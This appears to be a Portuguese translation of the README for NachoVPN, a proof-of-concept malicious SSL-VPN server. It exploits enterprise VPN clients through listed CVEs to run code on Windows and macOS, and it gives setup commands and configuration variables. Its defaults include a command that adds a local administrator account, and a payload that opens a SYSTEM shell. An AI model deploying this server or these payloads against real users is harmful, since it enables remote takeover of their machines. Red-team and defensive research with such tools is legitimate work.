
Um servidor SSL-VPN delicioso, mas malicioso 🌮
O NachoVPN é uma Prova de Conceito que demonstra a exploração de clientes SSL-VPN usando um servidor VPN malicioso.
Ele usa uma arquitetura baseada em plugins, permitindo que a comunidade contribua com suporte para produtos SSL-VPN adicionais. Atualmente, ele suporta vários produtos VPN corporativos populares, como Cisco AnyConnect, SonicWall NetExtender, Palo Alto GlobalProtect e Ivanti Connect Secure.
Para mais detalhes, consulte nossa publicação no blog e a apresentação no HackFest Hollywood 2024 [slides|vídeo].
O NachoVPN é compilado e testado no Ubuntu 22.04.
Instale python3-nftables e nftables
Opcionalmente, use setcap para evitar a necessidade de sudo:
sudo setcap 'cap_net_raw,cap_net_bind_service,cap_net_admin=eip' /usr/bin/python3.10
Ative o encaminhamento de IP:
sudo sysctl -w net.ipv4.ip_forward=1
O NachoVPN pode ser instalado a partir do GitHub usando pip. Observe que isso requer que o git esteja instalado.
Primeiro, crie um ambiente virtual.
No Linux, certifique-se de que o ambiente virtual tenha acesso aos site-packages do sistema, para que o nftables funcione:
python3 -m venv env --system-site-packages
source env/bin/activate
No Windows, o nftables (e, portanto, o encaminhamento de pacotes) está desabilitado, então use:
python -m venv env
.\env\Scripts\activate
Em seguida, instale o NachoVPN:
pip install git+https://github.com/AmberWolfCyber/NachoVPN.git
Se preferir usar Docker, você pode baixar o contêiner do GitHub Container Registry:
docker pull ghcr.io/AmberWolfCyber/nachovpn:release
Primeiro, clone este repositório e instale setuptools e wheel via pip. Em seguida, você pode executar o script setup.py:
git clone https://github.com/AmberWolfCyber/NachoVPN
pip install -U setuptools wheel
python setup.py bdist_wheel
Isso gerará um arquivo wheel no diretório dist, que pode ser instalado com pip:
pip install dist/nachovpn-1.0.0-py3-none-any.whl
Alternativamente, para desenvolvimento local, você pode instalar o pacote em modo editável usando:
pip install -e .
Você pode construir a imagem do contêiner com o seguinte comando:
docker build -t nachovpn:latest .
Para executar o servidor de forma autônoma, use:
python -m nachovpn.server
Alternativamente, você pode executar o servidor usando Docker:
docker run -e SERVER_FQDN=connect.nachovpn.local -e EXTERNAL_IP=1.2.3.4 -v ./certs:/app/certs -p 80:80 -p 443:443 --rm -it nachovpn
Isso gerará um certificado para o SERVER_FQDN usando certbot e o salvará no diretório certs, que montamos no contêiner.
Alternativamente, para fins de teste, você pode pular a geração do certificado definindo a variável de ambiente SKIP_CERTBOT.
Isso gerará um certificado autoassinado em vez disso.
docker run -e SERVER_FQDN=connect.nachovpn.local -e SKIP_CERTBOT=1 -e EXTERNAL_IP=1.2.3.4 -p 443:443 --rm -it nachovpn
Um arquivo docker-compose de exemplo também é fornecido para conveniência.
Você pode executar nachovpn com os argumentos de linha de comando -d ou --debug para aumentar a verbosidade do log, o que pode ajudar na depuração.
Alternativamente, se o log estiver excessivamente verboso, você pode usar o argumento de linha de comando q ou --quiet.
O NachoVPN suporta os seguintes plugins e recursos:
/pulse no servidor NachoVPN./sonicwall no servidor NachoVPN. Isso requer que o SonicWall Connect Agent esteja instalado na máquina cliente./delinea no servidor NachoVPN.NACAgent.exe com um certificado autoassinado. Para fins de teste, você pode baixar e instalar este certificado CA de /sonicwall/ca.crt antes de acionar a exploração. Para casos de uso em produção, você precisará obter um certificado de assinatura de código válido de uma CA pública, assinar seu payload NACAgent.exe e colocá-lo no diretório payloads (ou montá-lo como volume em /app/payloads, se estiver usando docker).NACAgent.exe padrão é gerado para o plugin SonicWall e gravado no diretório payloads. Isso simplesmente inicia um novo processo cmd.exe na área de trabalho do usuário atual, executando como SYSTEM.Para desabilitar um plugin, adicione-o à variável de ambiente DISABLED_PLUGINS. Por exemplo:
DISABLED_PLUGINS=CiscoPlugin,SonicWallPlugin
O NachoVPN é configurado usando variáveis de ambiente. Isso o torna facilmente compatível com implantações conteinerizadas.
Variáveis de ambiente globais:
Variáveis de ambiente específicas dos plugins:
Recomendamos as seguintes mitigações:
Aceitamos contribuições! Abra uma issue ou envie um Pull Request.
Se você estiver interessado em desenvolver um novo plugin, dê uma olhada no ExamplePlugin para começar.
O NachoVPN é licenciado sob a licença MIT. Consulte o arquivo LICENSE para obter detalhes.
| Plugin | Produto | CVE | RCE no Windows | RCE no macOS | Privilegiado | Manipulador de URI | Captura de Pacotes | Demonstração |
|---|
| Cisco | Cisco AnyConnect | N/A | ✅ | ✅ | ❌ | ❌ | ✅ | Windows / macOS |
| SonicWall | SonicWall NetExtender | CVE-2024-29014 | ✅ | ❌ | ✅ | ✅ | ❌ | Windows |
| PaloAlto | Palo Alto GlobalProtect | CVE-2024-5921 (correção parcial) | ✅ | ✅ | ✅ | ❌ | ✅ | Windows / macOS / iOS |
| PulseSecure | Ivanti Connect Secure | CVE-2020-8241 (contornado) | ✅ | ✅ | ✅ | ✅ (somente Windows - desabilitado por padrão na 22.8R1) | ✅ | Windows |
| Netskope | Netskope | CVE-2025-0309 | ✅ | ❌ | ✅ | ❌ | ❌ | Windows |
| Delinea | Protocol Handler | CVE-2026-???? | ✅ | ✅ | ❌ | ✅ | ❌ | Windows |
msi_version.txtdownloadsmsi_downloader.pyGlobalProtect.msi.old e GlobalProtect64.msi.old estejam presentes na pasta downloads. Esses arquivos devem conter os instaladores MSI não modificados de uma versão anterior à 6.2.6 (por exemplo, 6.2.5).| Variável | Descrição | Padrão |
|---|
SERVER_FQDN | O nome de domínio totalmente qualificado do servidor. | connect.nachovpn.local |
EXTERNAL_IP | O endereço IP externo do servidor. | 127.0.0.1 |
WRITE_PCAP | Se deve gravar os arquivos PCAP capturados em disco. | false |
DISABLED_PLUGINS | Uma lista separada por vírgulas de plugins a desabilitar. | |
USE_DYNAMIC_SERVER_THUMBPRINT | Se deve calcular dinamicamente a impressão digital do certificado do servidor a partir do servidor (útil se estiver atrás de um proxy). | false |
SERVER_SHA1_THUMBPRINT | Permite substituir a impressão digital SHA1 calculada para o certificado do servidor. | |
SERVER_MD5_THUMBPRINT | Permite substituir a impressão digital MD5 calculada para o certificado do servidor. | |
SMB_ENABLED | Ativa o compartilhamento SMB, disponível através do túnel em \\10.10.0.1\<SMB_SHARE_NAME> | false |
SMB_SHARE_NAME | O nome a ser usado para o compartilhamento SMB | SHARE |
SMB_SHARE_PATH | O caminho para o diretório a ser usado para o compartilhamento SMB | smb |
TUNNEL_PRIVATE | Quando definido como true, ativa o tunelamento, mas desativa o encaminhamento de internet para clientes VPN. Os clientes só podem acessar o compartilhamento SMB. | false |
TUNNEL_FULL | Quando definido como true, ativa o tunelamento completo e permite que clientes VPN acessem a internet. Também implica TUNNEL_PRIVATE=true. | false |
| Variável | Descrição | Padrão |
|---|
VPN_NAME | O nome do perfil VPN, que é apresentado ao cliente para Cisco AnyConnect. | NachoVPN |
PULSE_LOGON_SCRIPT | O caminho para o script de logon do Pulse Secure. | C:\Windows\System32\calc.exe |
PULSE_LOGON_SCRIPT_MACOS | O caminho para o script de logon do Pulse Secure para macOS. | |
PULSE_DNS_SUFFIX | O sufixo DNS a ser usado para conexões Pulse Secure. | nachovpn.local |
PULSE_USERNAME | O nome de usuário a ser pré-preenchido na caixa de diálogo de logon do Pulse Secure. | |
PULSE_SAVE_CONNECTION | Se deve salvar a conexão Pulse Secure no cliente do usuário. | false |
PULSE_ANONYMOUS_AUTH | Se deve usar autenticação anônima para conexões Pulse Secure. Se definido como true, o usuário não será solicitado a fornecer nome de usuário ou senha. | false |
PULSE_HOST_CHECKER_RULES_FILE | Um arquivo JSON contendo uma lista de regras de host-checker baseadas no registro do Windows para ICS. Veja o exemplo em src/nachovpn/plugins/pulse/test/example_rules.json | |
PALO_ALTO_MSI_ADD_FILE | O caminho para um arquivo a ser adicionado ao MSI do instalador do Palo Alto. | |
PALO_ALTO_MSI_COMMAND | O comando a ser executado pelo MSI do instalador do Palo Alto. | net user pwnd Passw0rd123! /add && net localgroup administrators pwnd /add |
PALO_ALTO_FORCE_PATCH | Se deve forçar a aplicação do patch no instalador MSI se ele já existir no diretório payloads. | false |
PALO_ALTO_PKG_COMMAND | O comando a ser executado pelo PKG do instalador do Palo Alto no macOS. | touch /tmp/pwnd |
CISCO_COMMAND_WIN | O comando a ser executado pelo script OnConnect.vbs do Cisco AnyConnect no Windows. | calc.exe |
CISCO_COMMAND_MACOS | O comando a ser executado pelo script OnConnect.sh do Cisco AnyConnect no macOS. | touch /tmp/pwnd |